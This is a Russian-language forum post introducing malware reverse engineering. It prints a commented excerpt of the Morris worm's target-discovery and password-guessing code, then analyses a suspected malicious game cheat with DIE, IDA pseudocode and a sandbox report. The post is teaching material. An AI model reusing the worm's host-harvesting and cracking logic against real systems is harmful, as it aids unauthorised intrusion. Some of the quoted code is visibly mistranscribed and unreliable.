Бредовое введение в реверс

Man

Professional
Messages
2,963
Reaction score
486
Points
83
В любом случае, надеюсь, она станет интересным и полезным занятием для вас на последующие 10 минут.

Сразу предупреждаю, эта статья однозначно даст вам какую-то базу, но информация в ней практически не структурирована и представляет собой смесь всего и ни о чём. Убирайте от экрана ваших детей, ГМО не содержит.

Вредонос, или малварь (от англ. malware: malicious software), как, вероятно, известно большинству читателей, классифицируется на множество классов и типов, а затем на огромное количество суб-упомянутых. Если бы мне захотелось выделить их все, это заняло бы как минимум несколько часов, поэтому в этой статье я буду вынужден опираться лишь на косвенные и наиболее основополагающие из них, упуская, увы, значительную часть других, не менее интересных вариантов. Я постараюсь изложить материал как можно лаконичнее, чтобы статья была понятна пользователям форума, далеким от затронутых тем.

В силу моих намерений, начать мне придётся с далека:
Вредоносное ПО с момента своего появления прошло огромный путь эволюции, и то, что является одновременно поразительным и устрашающим - с этим может сравниться крайне немногое.

Немногим известно, но основоположником концепции вредоносных программ по праву считается Джон фон Нейман, который, кстати, является одной из ключевых фигур в развитии огромного множества точных наук. Однако сейчас мы оставим это в стороне и немного подробнее рассмотрим его идеи:

Первый в мире червь или теория самовоспроизводящихся механизмов
Ещё в далёком 1951[1] году Джоном было предложено понятие механизмов, способных к самовоспроизводству и самосовершенствованию без какой-либо сторонней помощи. Это, как, вероятно, уже поняли более опытные пользователи, стало отправной точкой для появления интернет-червей.

n1 - Точную дату назвать сложно, поправьте меня, если вам известно что-то большее.

По материалам статьи Ф. Ж. Шталь запрограммировал на машинном языке ЭВМ IBM 650 биокибернетическую модель, в которой существа двигались, питаясь ненулевыми словами. При поедании некоторого числа символов существо размножалось, причём дочерние механизмы могли мутировать (эту особенность мы еще рассмотрим в статье про полиморфные крипторы и метаморфные вирусы чуть позже). - wiki

В 1961 году тремя умельцами была изобретена необычнуя игра «Дарвин», в которой несколько ассемблерных программ, названных «организмами», бились за право на свой кусочек памяти: организмы, созданные одним игроком (то есть принадлежащие к одному виду), должны были уничтожать представителей другого вида и захватывать жизненное пространство. Победителем считался тот игрок, чьи организмы захватывали всю память или набирали наибольшее количество очков. - wiki

В данном кейсе (cм. 2) под уязвимостью подразумевается доверчивость пользователей на момент его распространения, а также привлекательный слоган ILOVEYOU (от англ. "I love you" — "я люблю тебя")

ILOVEYOU — это вирус, который поразил миллионы пользователей в 2000 году, распространяясь через электронные письма с заманчивым заголовком. Он стал одним из самых известных примеров вредоносного ПО, продемонстрировав уязвимость пользователей к социальным манипуляциям.
C. GPT

Первым червём, который смог вырваться в массы, стал немало известный Morris, носящий фамилию своего создателя (Роберта Тапана Морриса),

К слову с ним у меня была довольно интересная история которую я неприменно упомяну в второй части статьи
).

Созданный по прошествии 40 лет после основания идеи своего концепта, червь, появившийся в ночь 3-го ноября 1988 года, в считанные часы смог поразить примерно 3000 компьютеров, что, на секундочку, на тот момент составляло примерно 5% от всей международной сети ARPANET, предшественника Интернета.

Вступление вышло весьма внушительным, увы, у меня уже нет места распинаться о других видах.
Просто знайте, что с течением времени вирусы непрерывно продолжали свой путь, и через несколько минут вы увидите, что мы имеем сейчас.

Просто вскользь упомяну, что сейчас самыми интересными игроками на рынке и в деле являются стиллеры и ИУА. Первые позволяют заимствовать личную информацию, конфиденциальные данные и даже больше — интернет-личности. ИУА (Еще горячий термин прямо с печки РКНа, более известный своей английской версией- RAT) — Инструмент Удалённого Администрирования даёт возможность псевдо-скрытно находиться в системе и управлять ею.

n1 — Существует две англо-версии: Remote Access Tool и Remote Access Trojan. Первая предоставляет санкционированный доступ, например, такие программы, как TeamViewer или RAdmin, и да прибудет с ним бог! Среди вторых можно выделить огромное множество. Расписываться не буду, можете сами оценить их количество на форуме.

Быстро пройдемся по понятиям, нет, звать дегестанских специалистов не придется:

RAT - Вышеупомянутый Remote Access Trojan.
Stealer/Info Stealer — приблуда, призванная унести все ваши секреты, нет, не в могилу, а к предприимчивому индусу или многоуважаемому пользователю подобного, или даже такового форума.
Реверс-инжиниринг — дисциплина при которой производиться процесс обращения чего-то, в нашем случае ПО, в изначальную форму и попытки понять его функционирование.
Форензика — компьютерная криминалистика, думаю, в объяснении не нуждается.

Что ж, думаю, самое время перейти к тематике статьи. Однозначно, вступление весьма затянулось, но надеюсь, оно не было слишком нудным.

Предлагаю теперь рассмотреть работы вредоноса на уровне чуть повыше, как подопытного возьмем нашего Морриса.
Свой анализ я начну с поиска образца, а поверьте, шутка это весьма нелёгкая, в особенности если речь идет о государственных продуктах, таких как, например, мобильно-ориентированный вирус Pegasus.

В этом, невероятно удачном случае, получилось так что у нас есть полный исходный код Морриса, конечно в реальных кейсах ожидать такого не стоит, если мы говорим о исполняемых файлах.
Почему?

Как правило, почти любая программа — это текст, написанный на одном из высокоуровневых языков программирования, таких как C, C++, Python, Java, Go и т. д. Пока она находится в исходной форме, она не может быть выполнена напрямую компьютером, поскольку процессор понимает только машинный код[1] или байт-код. Чуть ниже мы пройдемся по каждому из них и я постараюсь объяснить, почему мы не можем напрямую получить исходный код.

n1 - код напрямую завысящий от архитектуры ОС, ELF на Linux, PE для Windows ~ и Mach-O для, разумееться, MacOS.

Первым делом, бегло осмотрим основной код - а именно, алгоритм его распространения

C:
/* Список модулей необходимых программе  */
#include "worm.h"
#include <stdio.h>
#include <ctype.h>
#include <strings.h>
#include <pwd.h>

/* Образный режим работы программы, меняется в процессе в зависимости от стратегии */
int cmode;

/* Структура с информацией о хостах (атакуемых объектах) */
extern struct hst* h_name2host();

/* Структура для работы  */
struct usr {
char* name, * o4, * o8, * o12;  /* Указатели на строковые данные (имя, пасс и т.д.) */
char passwd[14];              /* Пароль юзера (массив в 14 символов) */
char decoded_passwd[14];      /* Расшифрованный пароль (с какой-то сомнительной реализацией) */
short pad;                    /* Доп. место для аллокации памяти*/
char* homedir;                /* Каталог пользователя */
char* gecos;                  /* Информация о юзере */
struct usr* next;             /* Указатель на следующий элемент в списке списке юзеров  */
};

/* Глобальные указатели на пользователей */
static struct usr* x27f28, * x27f2c;

/* Смена стратегий */
cracksome()
{
switch (cmode) {
case 0:
strat_0();  /* Стратегия первая */
 return;
case 1:
strat_1();  /* Стратегия вторая */
 return;
case 2:
try_words();  /* Мини блокнотик брутфорса */
 return;
case 3:
dict_words();  /* Полный словарь брутфорса */
 return;
}
}

/* Смотрим /etc/hosts.equiv и /.rhosts для поиска следующей жертвы */
strat_0()
{
FILE* hosteq;
char scanbuf[512];
char fwd_buf[256];
char* fwd_host;
char getbuf[256];
struct passwd* pwent;
char local[20];
struct usr* user;
struct hst* host;
int check_other_cnt;
static struct usr* user_list = NULL;

/* Смотрим /etc/hosts.equiv */
hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
if (hosteq != NULL) {
while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
host = h_name2host(scanbuf, 0);
if (host == 0) {
host = h_name2host(scanbuf, 1);
getaddrs(host);
}
if (host->o48[0] == 0)
 continue;
host->flag |= 8;
}
fclose(hosteq);
 }

/* Анализ /.rhosts */
hosteq = fopen(XS("/.rhosts"), XS("r"));
if (hosteq != NULL) {
while (fgets(getbuf, sizeof(getbuf), hosteq)) {
if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
 continue;
host = h_name2host(scanbuf, 0);
while (host == 0) {
host = h_name2host(scanbuf, 1);
getaddrs(host);
}
if (host->o48[0] == 0)
 continue;
host->flag |= 8;
}
fclose(hosteq);
 }

/* Читаем пароли из массива(в коде находиться ниже, не прикреплен) */
setpwent();
check_other_cnt = 0;
while ((pwent = getpwent()) != 0) {
if ((check_other_cnt % 10) == 0)
other_sleep(0);
check_other_cnt++;
sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir);
hosteq = fopen(fwd_buf, XS("r"));
if (hosteq != NULL) {
while (fgets(scanbuf, sizeof(scanbuf), hosteq)) {
/* Перенаправлений почты, двигаем индексы */
(&scanbuf[strlen(scanbuf)])[-1] = '\0';
fwd_host = index(scanbuf, '@');
if (fwd_host == NULL)
 continue;
host = h_name2host(++fwd_host, 0);
if (host == NULL) {
host = h_name2host(fwd_host, 1);
getaddrs(host);
}
if (host->o48[0] == 0)
 continue;
host->flag |= 8;
}
fclose(hosteq);
}
/* Пропуск сложных/чуждых хостов */
if (strlen(host->hostname) > 11)
 continue;
/* Создание структуры для нового объекта брутфорса */
user = (struct usr*)malloc(sizeof(struct usr));
strcpy(user->name, pwent->pw_name);
strcpy(&user->passwd[0], XS("x"));
user->decoded_passwd[0] = '\0';
user->homedir = strcpy(malloc(strlen(pwent->pw_dir) + 1), pwent->pw_dir);
user->gecos = strcpy(malloc(strlen(pwent->pw_gecos) + 1), pwent->pw_gecos);
user->next = user_list;
user_list = user;
}
endpwent();
cmode = 1;  /* Переход к следующей стратегии */
x27f2c = user_list;
 return;
}

/* Стратегия 1: Каверкаем различные формы юзернейма в качестве пароля */
static strat_1()
{
int cnt;
char usrname[50], buf[50];

for (cnt = 0; x27f2c && cnt < 50; x27f2c = x27f2c->next) {
/* Ждем */
if ((cnt % 10) == 0)
other_sleep(0);
/* Пробуем еще раз, с смещением */
if (try_passwd(x27f2c, XS("")))
 continue;
if (strlen(x27f2c->passwd) != 13)
 continue;
strncpy(usrname, x27f2c, sizeof(usrname) - 1);
usrname[sizeof(usrname) - 1] = '\0';
if (try_passwd(x27f2c, usrname))
 continue;
sprintf(buf, XS("%.20s%.20s"), usrname, usrname);
if (try_passwd(x27f2c, buf))
 continue;
sscanf(x27f2c->gecos, XS("%[^ ,]"), buf);
if (isupper(buf[0]))
buf[0] = tolower(buf[0]);
if (strlen(buf) > 3 && try_passwd(x27f2c, buf))
 continue;
buf[0] = '\0';
sscanf(x27f2c->gecos, XS("%*s %[^ ,]s"), buf);
if (isupper(buf[0]))
buf[0] = tolower(buf[0]);
if (strlen(buf) > 3 && index(buf, ',') == NULL && try_passwd(x27f2c, buf))
 continue;
reverse_str(usrname, buf);
if (try_passwd(x27f2c, buf))
;
}
if (x27f2c == 0)
cmode = 2;
 return;
}

/* Обращяем строку */
static reverse_str(str1, str2)
char* str1, * str2;
{
int length, i;
length = strlen(str1);
for (i = 0; i < length; i++)
str2 = (&str1[length - i])[-1];
str2[length] = '\0';
 return;
}

/* Функция брута */
static try_passwd(user, str)
struct usr* user;
char* str;
{
if (strcmp(user->passwd, crypt(str, user->passwd)) == 0 ||
(str[0] == '\0' && user->passwd == '\0')) {
strncpy(user->decoded_passwd, str, sizeof(user->decoded_passwd));
user->decoded_passwd[sizeof(user->decoded_passwd) - 1] = '\0';
attack_user(user);
return 1;
}
return 0;
}

Ничего сложного а уж темболее интересного тут не стоит ожидать, пресловутый брутфорс[1], чего нельзя сказать об основной функциональной части вредоноса, код там относительно долгий и думаю кому интересно сможет без труда найти его разбор, тут на нем останавливаться не стану.
n1 - (от англ. brute;force: грубая сила) перебой грубой силой, атака при которой данные подбираються при помощи словаря.

Ладно, от дела мы сильно отошли, вспоминаем заголовок статьи и преступаем.

Хорошо, в этом случае у нас был исходный код, но что если его нет?
Первым делом нам стоит понять, на каком изначально языке была написана программа, и поскольку в этой статье я буду затрагивать только PE формат, мне в этом помогут:
DIE (DetectItEasy) — невероятно многогранный инструмент, незаменим в анализе;
pestudio — небольшая, но очень полезная программка, когда вам нужно быстро заглянуть под капот какого-то исполняемого файла;
CFF Explorer — даёт возможность провести первичный анализ и поправить некоторые .NET (то есть написанные на C#) файлы.
Чтобы достать семпл (от англ. sample — образец) вредоноса для анализа, я воспользуюсь моим проверенным методом: поиском в YouTube -> Читы -> Недавние публикации.

1.jpg


После перехода по ссылке в описании и скачивания 30-ти чистейших килобайт читов, по крайней мере, по заверению автора, в меня начали закрадываться сомнения.

И тут я вспомнил про два способа анализа вредоносного ПО:

Статический — в котором программа проверяется всевозможными методами без запуска, например, анализ энтропии (это такой псевдоматематический концепт, который отображает, насколько программа беспорядочна, насколько неожиданна её структура; чем это значение выше, тем программа запутаннее).

Динамический — обратный первому, программа отслеживается и анализируется в runtime (от англ. run time — время выполнения).

Cразу после этого отступления, я решил посмотреть что там в DIE.

Улыбка помалу спала с моего лица, а все потому что C++ как и впрочем C, не подлежат {прямой} декомпиляции (трянсляции[1] файла полученного из компилятора[2] на язык выского уровня[3])
n1 - образно говоря переводу с машинного на человеческий языки (определение образное, поскольку нативная трансляция работает только в одну сторону, тобишь - высокоуровневый код в машинный или промежуточный)
n2 - программа которая переводит код на языке программирования в машинный код (или промежуточный, о нем поговорим позже)
n3 - упомянутые выше языки, которые способен понимать человек

Из скрина DIE мы можем понять не мало чего:

2.jpg


Смотря на общую картину, файл был скомпилирован в относительно новой версии Visual Studio (название среды разработки), а учитывая time stamp, который в любом случае может быть подделан, мы ещё больше в этом убеждаемся.

3.jpg


Здесь мы можем подметить, что у файла относительно низкая энтропия и размер, который совсем не подходит для основного файла вредоноса. На худой конец, это стиллер, но даже для него соотношение ранее упомянутых параметров является весьма необъяснимым. Исходя из этого, у меня возникла мысль, что это может быть дроппер — промежуточная стадия между получателем и самим вредоносом, которая призвана скрыть его от антивирусов, отключить их и обеспечить лучшие условия для запуска основного вредоноса.

Почему? Дело в том, что зачастую вредоносные программы защищаются от реверсеров с помощью различных инструментов, например, таких как обфускаторы [1], пакеры [2], протекторы [3] ну и конечно-же крипторы [4] и другие, из-за которых файл становится похожим на кашу из кода, если он написан на декомпилируемом языке, или на кашу из ассемблерных инструкций [5].

n1 — программы, которые модифицируют промежуточный код на стадии готовой скомпилированной программы или перед компиляцией, меняя его структуру до неузнаваемости на основе различных алгоритмов. Это самое популярное решение среди разработчиков вредоносного ПО.
n2 — программы, которые заворачивают основной исполняемый файл в свою оболочку и запускают его только с под себя. Часто используются в дропперах для противодействия scan-time функциям антивирусов. В финальных (основных) стадиях вредоносного ПО почти не используются.
n3 — комплексное решение с огромным количеством хлама, чтобы усложнить жизнь реверсерам. Из-за своей медленности такие решения также используются весьма редко.
n4 — программы для защиты вредоносных программ от обнаружения, которые используют элементы всех вышеперечисленных методов.
n5 — языки, поддающиеся декомпиляции, - это языки с промежуточным кодом, а также интерпретируемые (они будут рассмотрены ниже).
n6 — поскольку, как я ранее упоминал, программы, написанные на C/C++ и другие, не поддаются прямой декомпиляции, мы будем вынуждены прибегнуть к одному трюку. С помощью специализированного ПО мы сможем преобразовать программу в ассемблерный код — низкоуровневое представление, состоящее из набора простейших процессорных инструкций, чтобы вам было легче понять, вот как выглядела-бы дизассемблированная инструкция простейшей программы на C:
C:
// Определяем функцию сложения, которая принимает два аргумента, в нашем случае числа.
// Переменные `a` и `b` в C — это абстрактные параметры. [1]
// После компиляции в ассемблере они будут передаваться через регистры процессора (например, EAX, EBX для x86 архитектуры).
int add(int a, int b) {
// Возвращаем сумму двух чисел
return a + b;
}

int main() {
// Объявляем переменную `result`, которая будет хранить результат вызова функции `add`.
// В скомпилированной программе `result` скорее всего будет сопоставлена определённой области памяти[2].
int result = add(5, 3);
 
// Возвращаем значение переменной `result` как точку завершения программы.
// На уровне ассемблера это значение будет записано в специальный регистр, который там отвечает за аллокацию памяти (например, EAX на x86).
return result;
}

Code:
section .data
    ; Секция данных. Здесь могли бы быть глобальные переменные (которые можно использовать повсеместно в программе), но в данном случае их нет.

section .text
    global _start ; Определяем точку входа программы.

; Функция add, которая складывает два числа.
add:
    mov rax, rdi       ; Копируем первый аргумент (a) в регистр rax.
    add rax, rsi       ; Складываем значение второго аргумента (b) с rax.
    ret                ; Возвращаем результат (он остаётся в rax).

; Точка входа программы.
_start:
    ; Параметры для функции add.
    mov rdi, 5         ; Копируем значение 5 в регистр rdi (первый аргумент).
    mov rsi, 3         ; Копируем значение 3 в регистр rsi (второй аргумент).

    ; Вызов функции add.
    call add           ; Выполняем функцию add. Результат будет в rax.

    ; Завершаем выполнение программы, возвращая результат в качестве кода завершения.
    mov rdi, rax       ; Копируем результат сложения из rax в rdi (для передачи в системный вызов).
    mov rax, 60        ; Код системного вызова для завершения программы (60 - sys_exit).
    syscall            ; Вызов системного прерывания для завершения программы.


ВАЖНО
[1] — как я ранее упоминал, программы, написанные на C, не поддаются декомпиляции. Но почему? Все это в угоду скорости из-за злосчастной оптимизации, которая так полюбилась многим. Для стабильной работы C, в отличие от таких языков, как C#, Java, Python и другие, в которых исходный код выполняется виртуальной машиной (для первых двух — с скомпилированного байт-кода, а для последнего — интерпретатором, запускающим код "на лету"), требуется проделать огромную работу на стадии оптимизации.

Это работа компилятора и элементов .NET, нет, это не C

4.png


Думаю это много чего объясняет, что правда в новых версиях .NET появилась возможность компиляции в натив при помощи NGEN, но это скорее исключение.
Компилятор С/C++ переводит исходный код в абсолютно машинный, вдобавок затирая связь с исходным кодом. Как пример, в угоду оптимизации он может заменить вызов функции ее телом (пример ниже). Он подчистую убирает весь неиспользуемый (dead, мертвый) код, переименовывает все переменные (они становятся простыми адресами в памяти или регистрами), меняет порядок инструкций, убирает мета-информацию (имена классов, функций и других структур убираются) и еще огромную кучу всего.

Код на C:
C:
int add(int a, int b) {
return a + b;
}
int main() {
int result = add(5, 3);
return result;
}

Ассемблерная структура (это не полный код, только основной элемент):
Code:
mov eax, 5      ; регистр нашего числа
add eax, 3      ; прямое сложение без операнты
ret             ; возврат результата

Теперь, когда мы разобрались с тем, что такое ассемблер, можно вернуться к нашему читу.

Логично, чтоб его осмотреть нам потребуеться дизассемблер, давайте пройдемся по рынку.

IDA Pro
— один из самых мощных инструментов, минимальная стоимость около 1800$, встроенный декомпилятор, поддержка огромного количества архитектур (забыл упомянуть, но синтаксис ассемблера напрямую зависит от архитектуры — с x86, коий IA32, на ARM сходу не полезешь). Как думаю, всем ясно, что IDA имеет огромное комьюнити, которому не очень бы хотелось отдавать кровные, именно поэтому сегодня мы будем использовать именно её.
К слову у нее есть тестовая Free версия, которая, увы, лишена многих преимуществ.

Рядом стоит еще совсем молодой и зеленый, но тоже весьма неплохой BinJa (Binary Ninja - тоже платный), поддерживает почти все что и IDA, если еще захотите посравнивать советую взглянуть на:
Cutter, Ghidra, Radere2 - все бесплатные.

Ну, а если же вы Джек Воробей, советую посетить каюту каюту Капитана Доктора Фар-Фара (IDA). (Не реклама. При всплывающем окне с просьбой подписаться на кситтер просто кликните и подождите пару секунд.)
И снова ретроспективой нас перебрасывает к нашему "читу". Только сейчас заметил одну забавную деталь: дата создания каждого файла отличается. Это подталкивает на простую, но весьма практичную методику. Если вам предстоит анализировать множество файлов, как, например, в распакованном браузерном расширении, начните с последних изменённых, с одной стороны, этот метод может показаться
невероятно примитивным, но, с другой, он часто оказывается удивительно эффективным.

5.jpg


Открываем IDA для 32-битных (исходя из скрина DIE) приложений и закидываем этого разбойника. Подождав несколько секунд, она кидает нас на такой граф — это визуализация связей между ассемблерными инструкциями в entry (точке входа, то есть точке, с которой наша программа начинает своё выполнение).

6.jpg


При нажатии на F5 запускается плагин декомпилятора IDA, и мы можем взглянуть на C-подобный псевдокод.

7.png


Его примерное значение,
P.S.: Кому интересно - работа Gemini:
Code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax - переменная для хранения результата выполнения sub_404E20
  int v4; // eax - переменная для хранения результата выполнения sub_405AC0
  int v6; // eax - переменная для хранения результата выполнения sub_404D00
  char *v7; // eax - указатель на строку, результат выполнения sub_4057B0
  int v8; // eax - переменная для хранения результата выполнения sub_404E40
  int v9; // eax - переменная для хранения результата выполнения sub_405B30
  int v10; // eax - переменная для хранения результата выполнения sub_404E00
  int v11; // eax - переменная для хранения результата выполнения sub_405A50
  char v12[100]; // [esp+0h] [ebp-104h] BYREF - массив для хранения данных (100 байт)
  char v13[68]; // [esp+64h] [ebp-A0h] BYREF - массив для хранения данных (68 байт)
  char v14[68]; // [esp+A8h] [ebp-5Ch] BYREF - массив для хранения данных (68 байт)
  int v15[4]; // [esp+ECh] [ebp-18h] BYREF - массив из 4 целых чисел, возможно для флагов или данных состояния
  __int16 v16; // [esp+FCh] [ebp-8h] - 16-битная переменная, скорее всего для флагов или кода состояния
  char v17; // [esp+FEh] [ebp-6h] - символ, скорее всего, для флага или другого состояния

  memset(v13, 0, 0x43u); // Обнуляем первые 68 байт массива v13

  v3 = sub_404E20(v13); // Вызов функции sub_404E20, которая, вероятно, обрабатывает v13, и результат сохраняется в v3
  v4 = sub_405AC0(v3); // Используем результат предыдущей функции (v3) в качестве входного параметра для sub_405AC0
  sub_4066F0(v4, v12[0]); // Вызов функции sub_4066F0 с параметрами v4 и первым символом массива v12

  if ( !(unsigned __int8)sub_4047D0() ) // Если результат вызова sub_4047D0 равен 0 (false)
    return 1; // Выход из программы с кодом 1

  memset(v15, 0, sizeof(v15)); // Обнуляем массив v15, который может хранить данные или флаги
  v16 = 0; // Обнуляем переменную v16
  v17 = 0; // Обнуляем переменную v17

  v6 = sub_404D00(v15); // Вызов функции sub_404D00 с массивом v15 и сохранение результата в v6
  v7 = (char *)sub_4057B0(v6); // Вызов функции sub_4057B0 с параметром v6, результат приводится к типу char*
 
  if ( sub_406C90(v7) ) // Если функция sub_406C90 с параметром v7 возвращает ненулевое значение
  {
    memset(v14, 0, 0x41u); // Обнуляем первые 65 байт массива v14

    v10 = sub_404E00(v14); // Вызов функции sub_404E00 с массивом v14 и результат сохраняется в v10
    v11 = sub_405A50(v10); // Используем результат предыдущей функции (v10) в sub_405A50
    sub_4066F0(v11, v12[0]); // Вызов функции sub_4066F0 с параметрами v11 и первым символом массива v12
    sub_401BA0(); // Вызов другой функции sub_401BA0 (скорее всего, завершение работы или подготовка данных)

    Sleep(0x1388u); // Задержка на 5000 миллисекунд (Sleep ожидает в миллисекундах)
    return 0; // Выход из программы с кодом 0
  }
  else // Если функция sub_406C90 вернула 0 (false)
  {
    memset(v12, 0, 0x63u); // Обнуляем первые 99 байт массива v12

    v8 = sub_404E40(v12); // Вызов функции sub_404E40 с массивом v12 и результат сохраняется в v8
    v9 = sub_405B30(v8); // Используем результат предыдущей функции (v8) в sub_405B30
    sub_4066F0(v9, v12[0]); // Вызов функции sub_4066F0 с параметрами v9 и первым символом массива v12

    Sleep(0x1388u); // Задержка на 5000 миллисекунд
    return 1; // Выход из программы с кодом 1
  }
}

Немного пройдя по соседним функциям, моему взору попались несколько интересных особенностей:

Функция генерации mutex'a, утилизация которой типично используется в вредоносе для предотвращения повторного запуска, запуска второго потока, попытки спуфинга и т.д.

8.jpg


Кучка математических мутаций, выведенных в отдельные потоки библиотек:

9.jpg


По-хорошему, стоило бы потрейсить[1] с дебаггером[2] и посмотреть, какой массив[3] попадает в функцию сокета[4], а затем перехватить его на send и recv[5].
n1 (от англ. tracing) — процесс отслеживания/перехвата действий программы.
n2 (от англ. debugger) — программа для отладки, которая позволяет на лету следить за процессом выполнения программы и даже изменять некоторые её параметры.
n3 Массив — это структура данных, которая хранит несколько элементов одного типа в непрерывной области памяти. - wiki
n4 (от англ. socket) — абстракция, которая объясняет обмен данными между различными программами через сетевые протоколы.
n5 Функции для передачи и получения данных сокетной реализации

Таким образом, мы смогли бы узнать, какие данные отправляет эта программа и куда, но, увы, у меня не оказалось свободной виртуальной машины[1]

n1 - Виртуальная машина (VM) — это программная эмуляция физического компьютера, которая позволяет запускать операционную систему и приложения так, как если бы они работали на отдельном реальном устройстве.
В любом случае мы можем использовать уже готовые решения без необходимости скачивать что-либо на свой компьютер, например, VirusTotal, Tria.ge, Hybrid-Analysis, any.run и другие. Для использования третьего вам понадобится бизнес-эмейл, расположенный на своем домене, как, например, admin@xss.is.

К слову все что мы делали до этого относиться к статическому анализу, запуск и анализ на своей VM или подобных сервисах очевидно что переходит в динамический

С any.run мы получаем практически пустой отчет — как оказалось, для запуска ей требовалось ввести 4-значный код с сайта разработчика, после чего она стучала на API[1].
n1 - (Application Programming Interface) — это интерфейс, который позволяет различным программным системам взаимодействовать друг с другом.

10.jpg


При введении любого 4-значного кода программа отправляет GET-запрос (запрос на получение информации, использующий протокол HTTP/S) на следующий адрес: vip.timezonedb.com/v2.1/get-time-zone?key=0D0UMS4IS0XA&format=json&by=zone&zone=Europe/London
  • vip.timezonedb.com/v2.1/get-time-zone — адрес API, который запрашивает информацию о времени.
  • key=0D0UMS4IS0XA — API-ключ для доступа.
  • format=json — формат ответа.
  • by=zone — запрашивает время по часовому поясу.
  • zone=Europe/London — указывает часовой пояс (Лондон).

Перейдя на страницу чита, undetek.com/free-cs2-cheats-download, и посмотрев исходный код (Ctrl + U), а также немного подебажив (ПКМ -> Inspect/Осмотреть и тд.) это чудо гпт кода, хочу подметить, что сайты работают весьма схоже с десктопными приложениями. Однако, для реверса на их просторах вам не понадобится огромная куча различных инструментов — достаточно будет всего лишь браузера.

11.jpg


Перейдя на страницу чита, undetek.com/free-cs2-cheats-download, и посмотрев исходный код (Ctrl + U), а также немного подебажив (ПКМ -> Inspect/Осмотреть и т.д.) это чудо гпт кода, хочу подметить, что сайты работают весьма схоже с десктопными приложениями. Однако, для реверса на их просторах вам не понадобится огромная куча различных инструментов — достаточно будет всего лишь браузера.
Из этого, думаю, вполне очевидно, что механизм одноразовых кодов (OTP — One-Time Passwords) завязан на дате.

В следующей части я постараюсь предоставить вам более структурированную базу по теме. Мы освоим основы работы с ассемблером, научимся использовать x32dbg и погрузимся в реверс-инжиниринг для .NET. Кроме того, мы попытаемся определить, является ли данный чит вирусом, и, возможно, создадим для него кейген!
 
Top